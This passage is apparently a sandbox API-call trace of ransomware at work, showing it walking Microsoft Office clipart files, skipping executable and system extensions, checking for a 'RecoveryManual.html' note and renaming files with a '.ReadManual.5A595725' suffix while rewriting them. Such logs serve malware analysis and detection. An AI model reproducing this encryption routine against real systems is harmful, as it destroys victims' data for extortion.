returned 1 [0270.542] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.542] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.542] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.542] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.542] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.542] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.542] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.542] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.543] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.543] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.543] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.543] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF" [0270.543] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF.ReadManual.5A595725" [0270.543] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF.ReadManual.5A595725") returned 87 [0270.543] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39121147941) returned 1 [0270.543] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00538_.wmf")) returned 0x20 [0270.543] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00538_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.543] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=32020) returned 1 [0270.543] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7d14, lpName=0x0) returned 0x184 [0270.543] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.544] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.544] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.546] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.546] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7d14) returned 0x2f0000 [0270.546] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.546] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39121523005) returned 1 [0270.547] CloseHandle (hObject=0x184) returned 1 [0270.547] SetSecurityInfo () returned 0x57 [0270.547] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.547] CloseHandle (hObject=0x194) returned 1 [0270.547] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23970600, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23970600, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00641_.WMF", cAlternateFileName="")) returned 1 [0270.547] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00641_.WMF" | out: lpString1="NA00641_.WMF") returned="NA00641_.WMF" [0270.547] lstrcmpiW (lpString1="NA00641_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.547] StrStrIW (lpFirst="NA00641_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.547] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.547] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.547] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.547] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.547] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.547] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.547] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.547] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.547] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.547] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.547] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.547] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.547] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.547] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.547] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF" [0270.547] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF.ReadManual.5A595725" [0270.547] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF.ReadManual.5A595725") returned 87 [0270.547] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39121614237) returned 1 [0270.547] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00641_.wmf")) returned 0x20 [0270.548] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00641_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.548] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1612) returned 1 [0270.548] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x64c, lpName=0x0) returned 0x184 [0270.548] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.549] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.549] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.550] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.551] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x64c) returned 0x2f0000 [0270.551] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.551] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39121943601) returned 1 [0270.551] CloseHandle (hObject=0x184) returned 1 [0270.551] SetSecurityInfo () returned 0x57 [0270.551] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.551] CloseHandle (hObject=0x194) returned 1 [0270.551] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7658, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00784_.WMF", cAlternateFileName="")) returned 1 [0270.551] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00784_.WMF" | out: lpString1="NA00784_.WMF") returned="NA00784_.WMF" [0270.551] lstrcmpiW (lpString1="NA00784_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.551] StrStrIW (lpFirst="NA00784_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.551] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.551] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.551] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.551] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.551] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.551] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.551] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.551] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.551] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.551] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.551] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.551] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.551] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.551] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.551] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF" [0270.552] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF.ReadManual.5A595725" [0270.552] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF.ReadManual.5A595725") returned 87 [0270.552] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39122035912) returned 1 [0270.552] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00784_.wmf")) returned 0x20 [0270.552] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00784_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.553] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=30296) returned 1 [0270.553] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7658, lpName=0x0) returned 0x184 [0270.553] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.554] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.554] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.556] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.556] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7658) returned 0x2f0000 [0270.556] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.557] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39122571470) returned 1 [0270.557] CloseHandle (hObject=0x184) returned 1 [0270.557] SetSecurityInfo () returned 0x57 [0270.557] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.557] CloseHandle (hObject=0x194) returned 1 [0270.557] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43213500, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x43213500, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x23f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00798_.WMF", cAlternateFileName="")) returned 1 [0270.557] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00798_.WMF" | out: lpString1="NA00798_.WMF") returned="NA00798_.WMF" [0270.557] lstrcmpiW (lpString1="NA00798_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.557] StrStrIW (lpFirst="NA00798_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.557] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.557] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.557] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.558] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.558] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.558] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.558] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.558] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.558] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.558] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.558] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.558] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.558] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.558] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.558] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF" [0270.558] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF.ReadManual.5A595725" [0270.558] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF.ReadManual.5A595725") returned 87 [0270.558] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39122671887) returned 1 [0270.558] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00798_.wmf")) returned 0x20 [0270.558] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00798_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.558] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9208) returned 1 [0270.558] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x23f8, lpName=0x0) returned 0x184 [0270.559] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.559] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.559] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.561] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.561] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x23f8) returned 0x2f0000 [0270.561] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.561] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39123013520) returned 1 [0270.561] CloseHandle (hObject=0x184) returned 1 [0270.561] SetSecurityInfo () returned 0x57 [0270.562] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.562] CloseHandle (hObject=0x194) returned 1 [0270.562] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc0f000, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecc0f000, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x788, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00806_.WMF", cAlternateFileName="")) returned 1 [0270.562] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00806_.WMF" | out: lpString1="NA00806_.WMF") returned="NA00806_.WMF" [0270.562] lstrcmpiW (lpString1="NA00806_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.562] StrStrIW (lpFirst="NA00806_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.562] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.562] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.562] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.562] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.562] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.562] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.562] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.562] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.562] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.562] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.562] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.562] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.562] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.562] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.562] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF" [0270.562] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF.ReadManual.5A595725" [0270.562] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF.ReadManual.5A595725") returned 87 [0270.562] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39123109283) returned 1 [0270.562] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00806_.wmf")) returned 0x20 [0270.563] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00806_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.563] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1928) returned 1 [0270.563] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x788, lpName=0x0) returned 0x184 [0270.563] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.564] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.564] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.565] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.565] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x788) returned 0x2f0000 [0270.565] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.565] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39123425241) returned 1 [0270.566] CloseHandle (hObject=0x184) returned 1 [0270.566] SetSecurityInfo () returned 0x57 [0270.566] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.566] CloseHandle (hObject=0x194) returned 1 [0270.566] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb8fc300, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb8fc300, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0xba4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00807_.WMF", cAlternateFileName="")) returned 1 [0270.566] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00807_.WMF" | out: lpString1="NA00807_.WMF") returned="NA00807_.WMF" [0270.566] lstrcmpiW (lpString1="NA00807_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.566] StrStrIW (lpFirst="NA00807_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.566] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.566] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.566] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.566] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.566] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.566] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.566] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.566] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.566] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.566] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.566] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.566] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.566] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.566] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.566] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF" [0270.566] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF.ReadManual.5A595725" [0270.566] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF.ReadManual.5A595725") returned 87 [0270.566] QueryPerformanceCounter 